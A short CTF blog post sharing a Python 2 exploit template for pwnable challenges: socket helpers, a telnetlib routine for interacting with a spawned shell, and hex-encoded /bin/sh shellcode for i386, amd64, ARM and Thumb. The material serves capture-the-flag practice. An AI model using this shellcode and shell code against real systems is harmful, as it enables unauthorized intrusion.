pwnable templete from alex

CTF 2016. 12. 27. 16:27

#!/usr/bin/python

# -*- coding: utf-8 -*-

# snip from http://rintaro.hateblo.jp/entry/2016/05/24/002700

import sys, socket, struct, telnetlib, time


###################### func ######################

def sock(remoteip, remoteport):

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((remoteip, remoteport))

f = s.makefile("rw", bufsize=0)

return s, f


def read_until(f, delim="\n"):

data = ""

while not data.endswith(delim):

data += f.read(1)

return data


def shell(s, cmd=''):

t = telnetlib.Telnet()

t.sock = s

        if len(cmd) != 0:

            s.send(cmd)

t.interact()


# simple shellcode with non zero - pwntools

i386_sh = '68010101018134247269010131d2526a045a01e25289e26a68682f2f2f73682f62696e6a0b5889e389d199cd80'.decode('hex')

amd64_sh = '68726901018134240101010131d2526a085a4801e2524889e26a6848b82f62696e2f2f2f73506a3b584889e74889d6990f05'.decode('hex')


# non zero / ARMSCGen

arm_sh = '10008fe20020a0e305002de90d10a0e10b7000e3010000ef2f62696e2f736800'.decode('hex')

thumb_sh = '78460b30401c921a0b2705b4694601df2f62696e2f736800'.decode('hex')


###################### main ######################


RHOST = '1111'

LHOST = '2222'

PORT  = 3333


'CTF' 카테고리의 다른 글

[tum ctf 2016] hiecss - crpyto  (0) 2016.10.05
[tum ctf 2016] haggis - crpyto  (0) 2016.10.03
[SCTF 2016] pwn2 한땀 한땀 ROP read /bin/sh  (0) 2016.09.16
[tokyo 2016] ReverseBox  (0) 2016.09.12
[tokyo ctf 2016]greeting  (0) 2016.09.06
Posted by goldpapa
,